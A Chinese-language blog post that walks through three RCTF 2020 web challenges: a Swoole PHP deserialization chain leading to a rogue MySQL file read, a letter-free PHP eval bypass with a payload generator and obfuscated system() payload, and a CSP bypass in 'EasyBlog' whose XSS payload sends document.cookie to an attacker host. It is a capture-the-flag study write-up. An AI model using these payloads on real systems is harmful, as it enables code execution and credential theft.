這比賽的web太可怕了,我爬了
swoole
writeup:https://blog.rois.io/2020/rctf-2020-official-writeup/
源碼如下
#!/usr/bin/env php
<?php
Swoole\Runtime::enableCoroutine($flags = SWOOLE_HOOK_ALL);
$http = new Swoole\Http\Server("0.0.0.0", 9501);
$http->on("request",
function (Swoole\Http\Request $request, Swoole\Http\Response $response) {
Swoole\Runtime::enableCoroutine();
$response->header('Content-Type', 'text/plain');
// $response->sendfile('/flag');
if (isset($request->get['phpinfo'])) {
// Prevent racing condition
// ob_start();phpinfo();
// return $response->end(ob_get_clean());
return $response->sendfile('phpinfo.txt');
}
if (isset($request->get['code'])) {
try {
$code = $request->get['code'];
if (!preg_match('/\x00/', $code)) {
$a = unserialize($code);
$a();
$a = null;
}
} catch (\Throwable $e) {
var_dump($code);
var_dump($e->getMessage());
// do nothing
}
return $response->end('Done');
}
$response->sendfile(__FILE__);
}
);
$http->start();
用了swoole框架,並且直接給了反序列化:
$a = unserialize($code);
$a();
這里首先需要知道這個,即:[類,方法名]()的方式去調用類中的方法
<?php
class demo{
public function test(){
phpinfo();
}
}
$a = new demo();
$b = [$a,'test'];
$b();
然后就是需要觸發rogue mysql
根據hint:https://github.com/swoole/library/issues/34
這里mysql連接之后的選項均無效,那就找一個替代的:PDO
先看一下文檔里的PDO連接方式:
需要用到PDOPool這個類然后去調用PDOPool::get()完成連接
說實話我看完writeup還是很懵
認為直接去序列化PDOPool::get然后反序列化就完成了,如
$a = new \Swoole\Database\PDOPool((new \Swoole\Database\PDOConfig)
->withHost('123.57.240.205')
->withPort(3307)
->withDbName('test')
->withCharset('utf8mb4')
->withUsername('root')
->withPassword('root')
->withOptions([
\PDO::MYSQL_ATTR_LOCAL_INFILE => 1,
\PDO::MYSQL_ATTR_INIT_COMMAND => 'select 1'
])
);
echo serialize([$a,'get']);
在swoole環境下運行會報錯:
PHP Fatal error: Uncaught Exception: Serialization of 'Swoole\Coroutine\Channel' is not allowed in
看一下源碼:
PDOPool繼承了ConnectionPool,在ConnectionPool中找到$pool,類型為Channel
然 后 發 現 原 來 是swoole 4.3.0版 本 后 已 經 移 除 Channel這個類的序列化,可 以 用 new \SplDoublyLinkedList()來替代$pool
那么就不能偷家了(不能直接序列化PDOPool::get)
所以要找另外一個方式,這也是我在復現的時候不理解的一個點,后來用swoole環境就清楚多了= =。
首先既然不能直接調用類:方法,那么就只能找一條鏈了,而鏈反序列化出來的東西肯定包含其他類方法,所以$a()會調用ObjectProxy::__invoke方法:
然后將__object設置為Handler::exec
而這個execute函數也比較巧妙,允許我們執行兩個自定義回調函數
那么先看第一個cb,Handler::headerFunction,將其設置為MysqliProxy::reconnect
這里允許我們調用函數
然后初始化一個ObjectProxy,參數為函數返回的結果
令constructor為ConnectionPool::get
先看它的__construct
將這幾個參數初始化為:
然后進入get
由於pool被設置成了new SplDoublyLinkedList(),IsEmpty返回true,並且num<size
<?php
$a=new SplDoublyLinkedList();
var_dump($a->IsEmpty());//bool(true)
滿足if進入make(),在這里看到有個能讓我們實例化隨意類,隨意參數的地方,那就將proxy設置成PDOPool,將constructor設置成它的配置:PDOConfig
然后將類帶入put
put里面做了一個push操作,然后執行結束返回:
return $this->pool->pop();
我本地測了一下push后pop數據沒變化
所以這里return的就是一個PDOPool類了
對應writeup中的代碼:
$c = new \Swoole\Database\PDOConfig();
$c->withHost('ip'); // your rouge-mysql-server host & port
$c->withPort(3307);
$c->withOptions([
\PDO::MYSQL_ATTR_LOCAL_INFILE => 1,
\PDO::MYSQL_ATTR_INIT_COMMAND => 'select 1'
]);
$a = new \Swoole\ConnectionPool(function () { }, 0, '');
changeProperty($a, 'size', 100);
changeProperty($a, 'constructor', $c);
changeProperty($a, 'num', 0);
changeProperty($a, 'pool', new \SplDoublyLinkedList());
changeProperty($a, 'proxy', '\\Swoole\\Database\\PDOPool');
順帶啰嗦一下
如果MySQL客戶端連接以后,如果沒有進行任何一句包括SELECT @@version之類的查詢,客戶端是完全不會響應服務器的LOCAL INFILE請求的。有許多客戶端,例如MySQL命令行,連接之后就會向服務器查詢各類參數。但PHP的MySQL客戶端連接之后是什么都不會做的,因此我們需要給MySQL客戶端配置MYSQL_ATTR_INIT_COMMAND參數,讓它連接之后自動向服務器發送一條SQL語句。
那么PDOPool這個類就完成了
到這里第一個函數$cb就完成了,並且ObjectProxy::__object為PDOPool類
來看第二個$cb,令Handler::readFunction為MysqliProxy::get,MysqliProxy沒有get方法,觸發__call
這里的__object已經被我們上一步操作覆蓋為PDOPool類,最后一步就是連接了,所以才會令Handler::readFunction為MysqliProxy::get,此時name為get,也就調用了PDOPool::get
完成PDO連接
然后用S和\00繞一下這個正則即可:
!preg_match('/\x00/', $code))
直接跑官方exp,然后服務器上跑Rogue-MySql-Server即可:
看了好久總算懂了...Orz
calc
計算,跟到/calc.php有源碼:
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = ['[a-z]', '[\x7f-\xff]', '\s',"'", '"', '`', '\[', '\]','\$', '_', '\\\\','\^', ','];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/im', $str)) {
die("what are you want to do?");
}
}
@eval('echo '.$str.';');
}
?>
過濾比較嚴格,最關鍵的把字母、異或、反引號、$等ban了,那么之前常用的無字母數字webshell就不好使了,不過有或運算和與運算還在,那么就可以通過| & ~等構造字母
echo (((10000000000000000000000).(1)){3});
可以得到E,或是
姿勢很多
貼一個cjm00n師傅的腳本,Orz:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
table = list(b'0123456789.-EINF')
dict={}
l=len(table)
temp=0
while temp!=l:
for j in range(temp,l):
if ~table[j] & 0xff not in table:
table.append(~table[j] & 0xff)
dict[~table[j] & 0xff] = {'op':'~','c':table[j]}
for i in range(l):
for j in range(max(i+1,temp),l):
t = table[i] & table[j]
if t not in table:
table.append(t)
dict[t] = {'op':'&','c1':table[i],'c2':table[j]}
t = table[i] | table[j]
if t not in table:
table.append(t)
dict[t] = {'op': '|', 'c1': table[i], 'c2': table[j]}
temp=l
l=len(table)
table.sort()
def howmake(ch:int) -> str:
if ch in b'0123456789':
return '(((1).(' + chr(ch) + ')){1})'
elif ch in b'.':
return '(((1).(0.1)){2})'
elif ch in b'-':
return '(((1).(-1)){1})'
elif ch in b'E':
return '(((1).(0.00001)){4})'
elif ch in b'I':
return '(((999**999).(1)){0})'
elif ch in b'N':
return '(((999**999).(1)){1})'
elif ch in b'F':
return '(((999**999).(1)){2})'
d = dict.get(ch)
if d:
op = d.get('op')
if op == '~':
c = '~'+howmake(d.get('c'))
elif op =='&':
c = howmake(d.get('c1')) + '&' + howmake(d.get('c2'))
elif op == '|':
c = howmake(d.get('c1')) + '|' + howmake(d.get('c2'))
return f'({c})'
else:
print('error')
return
if __name__ == '__main__':
while 1:
payload = input('>')
result = []
for i in payload:
result.append(howmake(ord(i)))
result='.'.join(result)
print(f'({result})')
思路就是先得到可打印字符的ascii的構造方式,然后根據傳入的字符的ascii,在0123456789.-E這幾個數的基礎上遞歸拼接
然后構造system(next(getallheaders()))執行命令:
(((((1).(0)){1})|((~(((1).(4)){1}))&((((1).(2)){1})|(((1).(0.00001)){4})))).((((1).(0)){1})|((~(((1).(4)){1}))&((((1).(8)){1})|(((1).(0.00001)){4})))).((((1).(0)){1})|((~(((1).(4)){1}))&((((1).(2)){1})|(((1).(0.00001)){4})))).((((1).(0)){1})|((((1).(0.00001)){4})&(~(((1).(1)){1})))).((((1).(0.00001)){4})|((((1).(0)){1})&(((1).(0.1)){2}))).((((1).(-1)){1})|(((1).(0.00001)){4})))((((((1).(0.1)){2})|((((1).(0.00001)){4})&(~(((1).(1)){1})))).((((1).(0.00001)){4})|((((1).(0)){1})&(((1).(0.1)){2}))).((((1).(0)){1})|((~(((1).(5)){1}))&((((1).(8)){1})|(((1).(0.00001)){4})))).((((1).(0)){1})|((((1).(0.00001)){4})&(~(((1).(1)){1})))))((((((1).(0.00001)){4})|((((1).(2)){1})&(((1).(0.1)){2}))).((((1).(0.00001)){4})|((((1).(0)){1})&(((1).(0.1)){2}))).((((1).(0)){1})|((((1).(0.00001)){4})&(~(((1).(1)){1})))).(((((1).(0)){1})&(((1).(0.1)){2}))|((((1).(0.00001)){4})&(~(((1).(4)){1})))).(((((1).(0)){1})&(((1).(0.1)){2}))|((~(((1).(1)){1}))&((((1).(8)){1})|(((1).(0.00001)){4})))).(((((1).(0)){1})&(((1).(0.1)){2}))|((~(((1).(1)){1}))&((((1).(8)){1})|(((1).(0.00001)){4})))).(((((1).(0)){1})&(((1).(0.1)){2}))|((~(((1).(5)){1}))&((((1).(8)){1})|(((1).(0.00001)){4})))).((((1).(0.00001)){4})|((((1).(0)){1})&(((1).(0.1)){2}))).(((((1).(0)){1})&(((1).(0.1)){2}))|((((1).(0.00001)){4})&(~(((1).(4)){1})))).(((((1).(0)){1})&(((1).(0.1)){2}))|((((1).(0.00001)){4})&(~(((1).(1)){1})))).((((1).(0.00001)){4})|((((1).(0)){1})&(((1).(0.1)){2}))).((((1).(0)){1})|((~(((1).(5)){1}))&((((1).(2)){1})|(((1).(0.00001)){4})))).((((1).(0)){1})|((~(((1).(4)){1}))&((((1).(2)){1})|(((1).(0.00001)){4})))))()));
/readflag之前需要計算
可以將payload寫入/tmp下然后用perl執行,編碼一下防止數據丟失
echo 'IyEvdXNyL2Jpbi9lbnYgcGVybAogICAgICAgIHVzZSB3YXJuaW5nczsKICAgICAgICB1c2Ugc3RyaWN0OwogICAgICAgIHVzZSBJUEM6Ok9wZW4yOwogICAgICAgICR8ID0gMTsKICAgICAgICBteSAkcGlkID0gb3BlbjIoXCpvdXQyLCBcKmluMiwgIi9yZWFkZmxhZyIpIG9yIGRpZTsKICAgICAgICBteSAkcmVwbHkgPSA8b3V0Mj47CiAgICAgICAgcHJpbnQgU1RET1VUICRyZXBseTsKICAgICAgICAkcmVwbHkgPSA8b3V0Mj47CiAgICAgICAgcHJpbnQgU1RET1VUICRyZXBseTsKICAgICAgICBteSAkYW5zd2VyID0gZXZhbCgkcmVwbHkpOwogICAgICAgIHByaW50IFNURE9VVCAiYW5zd2VyOiAkYW5zd2VyXFxuIjsKICAgICAgICBwcmludCBpbjIgIiAkYW5zd2VyICI7CiAgICAgICAgaW4yLT5mbHVzaCgpOwogICAgICAgICRyZXBseSA9IDxvdXQyPjsKICAgICAgICBwcmludCBTVERPVVQgJHJlcGx5OwogICAgICAgICRyZXBseSA9IDxvdXQyPjsKICAgICAgICBwcmludCBTVERPVVQgJHJlcGx5Ow=='|base64 -d >/tmp/a.pl
然后執行perl /tmp/a.pl即可
EasyBlog
渣渣來復現
登陸注冊后是明顯的XSS
嘗試用<img src=#>可以正常插入圖片,但是插入<img src=# onerror=alert(1)>會被過濾,看一下csp:
default-src 'none'; script-src 'unsafe-eval' 'nonce-4dd516bfb85e09859190085f3abc31d8439fe768' ; font-src 'self' data:; connect-src 'self'; img-src *; style-src 'self'; base-uri 'none'
注意到有unsafe-eval和nonce
unsafe-eval:允許將字符串當作代碼執行,比如使用eval、setTimeout、setInterval和Function等函數
而nonce:每次HTTP回應給出一個授權token,頁面內嵌腳本必須有這個token,才會執行
並且由於沒有unsafe-inline,即使成功插入了<script>也不會被執行
先看文章處的js代碼:
function addComments(comments) {
comments.forEach(function (comment) {
let html = `
<div class="panel panel-default">
<div class="panel-heading">
<span class="name"></span>
<div class="pull-right">
<button type="button" class="btn btn-default btn-xs like" data-id="${comment.id}">
<span class="glyphicon glyphicon-thumbs-up" aria-hidden="true"></span><span>${comment.like}</span>
</button>
<button type="button" class="btn btn-default btn-xs dislike" data-id="${comment.id}">
<span class="glyphicon glyphicon-thumbs-down" aria-hidden="true"></span><span>${comment.dislike}</span>
</button>
</div>
</div>
<div class="panel-body"></div>
</div>
`;
dom = $(html)
dom.find('div>.name').text(comment.name)
dom.find('.panel-body').html(comment.comment)
$('#comments').append(dom)
})
}
function getUrlParam(name) {
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)")
var r = window.location.search.substr(1).match(reg)
if (r != null) return unescape(r[2])
return null
}
$.get('?page=comments&cb=addComments&id=' + getUrlParam('id'))
$('#comments').on('click','button', function(e) {
let btn = $(e.currentTarget)
if (btn.hasClass('like')) {
$.get('?page=vote&op=like&id=' + btn.data('id'), function(e) {
let count = parseInt(btn.children('span:last-child').text())
btn.children('span:last-child').text(count + 1)
})
} else if(btn.hasClass('dislike')) {
$.get('?page=vote&op=dislike&id=' + btn.data('id'), function(e) {
let count = parseInt(btn.children('span:last-child').text())
btn.children('span:last-child').text(count + 1)
})
}
})
這里有一個jsonp的回調函數
$.get('?page=comments&cb=addComments&id=' + getUrlParam('id'))
但是由於沒有unsafe-inline限制了script腳本的執行
根據writeup是考的script gadget(代碼重用)
例如html如下
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<button id="mbutton" data-text="<img src=x onerror=alert(/xss/)>">a</button>
<script>
var button = document.getElementById("mbutton");
button.innerHTML = button.getAttribute("data-text");
</script>
</body>
</html>
首先button中的一個屬性是img的error彈窗,但是直接放到html中並不會產生效果,但是如果用script標簽加載一個js,內容為選擇id為mbutton的button,並取出data-text屬性值,並放入加入html中便會產生gadget(代碼重用)此時img便被加入了button
並且成功彈窗
回到題目,這里由於沒有unsafe-inline,無法加載script標簽,那么便無法gadget
看到zepto源碼:
https://github.com/madrobby/zepto/blob/763b3d6dc3b4350759ed30aa196cd2b6e39efcfb/src/zepto.js#L918
這里可以看到如果結點的大寫是SCRIPT就會將其用eval執行,這正好符合csp當中的unsafe-eval,所以,在不使用script標簽的情況下,仍然可以用eval來執行js完成gadget,那么可以用ı來替代i,payload:
<scrıpt>location.href="http://ip:port/?"+document.cookie</scrıpt>
將其插入到文章評論處,zepto會自動幫我們eval執行,然后提交給bot
收到管理員cookie
還有一種解法,首先回到這個jsonp,觀察到cb為回調函數處
$.get('?page=comments&cb=addComments&id=' + getUrlParam('id'))
getUrlParam函數是根據&來獲取id參數的
function getUrlParam(name) {
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)")
var r = window.location.search.substr(1).match(reg)
if (r != null) return unescape(r[2])
return null
}
那么就用%26代替&,在show處增加一個cb,也就是回調函數,來執行代碼:
?page=show&id=0e65a36c-8369-4ae9-bb32-60119d4e2d06%26cb=alert()//&id=0e65a36c-8369-4ae9-bb32-60119d4e2d06
然后原理還是gadget,用eval來執行,在一開始寫文章處插入:
<input id="a" value="window.location='http://ip:port/'">
然后url的cb改為eval(a.value)即可
?page=show&id=0e65a36c-8369-4ae9-bb32-60119d4e2d06%26cb=eval(a.value)//id=0e65a36c-8369-4ae9-bb32-60119d4e2d06